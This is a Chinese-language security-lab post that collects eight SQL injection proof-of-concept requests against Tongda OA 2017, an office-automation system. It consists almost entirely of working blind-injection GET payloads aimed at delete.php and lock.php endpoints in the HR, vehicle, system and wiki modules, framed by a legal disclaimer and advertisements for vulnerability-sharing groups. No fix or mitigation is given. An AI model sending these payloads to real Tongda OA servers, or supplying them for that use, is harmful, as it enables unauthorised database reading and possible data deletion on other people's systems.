通达OA 2017多个delete SQL注入漏洞POC合集

严正声明

1. 本文仅用于技术交流，目的是向相关安全人员展示漏洞的存在和利用方式，以便更好地提高网络安全意识和技术水平。

2. 任何人不得利用本文中的技术手段进行非法攻击和侵犯他人的隐私和财产权利。一旦发生任何违法行为，责任自负。

3. 本文中提到的漏洞验证 poc 仅用于授权测试，任何未经授权的测试均属于非法行为。请在法律许可范围内使用此 poc。

4. CVES实验室对使用此 poc 导致的任何直接或间接损失不承担任何责任。使用此 poc 的风险由使用者自行承担。

POC合集

注：该漏洞由delete功能引发，请勿直接测试。

POC1：

GET
/general/hr/recruit/recruitment/delete.php?RECRUITMENT_ID=1)%20and%20(substr(DATABASE(
),1,1))=char(116)%20and%20(select%20count(*)%20from%20information_schema.columns%20A
,information_schema.columns%20B)%20and(1)=(1

POC2：

GET
/general/hr/manage/staff_relatives/delete.php?RELATIVES_ID=1)%20and%20(substr(DATABASE()
,1,1))=char(116)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,
information_schema.columns%20B)%20and(1)=(1

POC3：

GET
/general/hr/salary/welfare_manage/delete.php?WELFARE_ID=1)%20and%20(substr(DATABASE(), 1,1))=char(116)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,i
nformation_schema.columns%20B)%20and(1)=(1

POC4：

GET
/general/system/approve_center/flow_guide/flow_type/set_print/delete.php?DELETE_STR=1)%2
0and%20(substr(DATABASE(),1,1))=char(116)%20and%20(select%20count(*)%20from%20inform
ation_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1

POC5：

GET
/general/hr/training/record/delete.php?RECORD_ID=1)%20and%20(substr(DATABASE(),1,1))=cha
r(116)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,informati
on_schema.columns%20B)% 20and(1)=(1

POC6：

GET
/general/vehicle/checkup/delete.php?VU_ID=1)%20and%20(substr(DATABASE(),1,1))=char(116)
%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_sch
ema.columns%20B)%20and(1)=(1

POC7：

GET
/general/system/censor_words/module/delete.php?DELETE_STR=1)%20and%20(substr(DATABASE(),1,1))=char(116)
%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_sch
ema.columns%20B)%20and(1)=(1

POC8：

GET
/general/wiki/cp/manage/lock.php?TERM_ID_STR=1)%20and%20(substr(DATABASE(),1,1))=char(116)
%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_sch
ema.columns%20B)%20and(1)=(1

更多POC请关注“追洞学苑”

广告

目前团队运营了两个知识星球分别为“追洞学苑”与“挖洞学苑”：

追洞学苑】会分享最新的漏洞POC，1day0day挖掘文章。

挖洞学苑】会分享国内/外原创漏洞赏金项目报告，各种漏洞挖掘小技巧。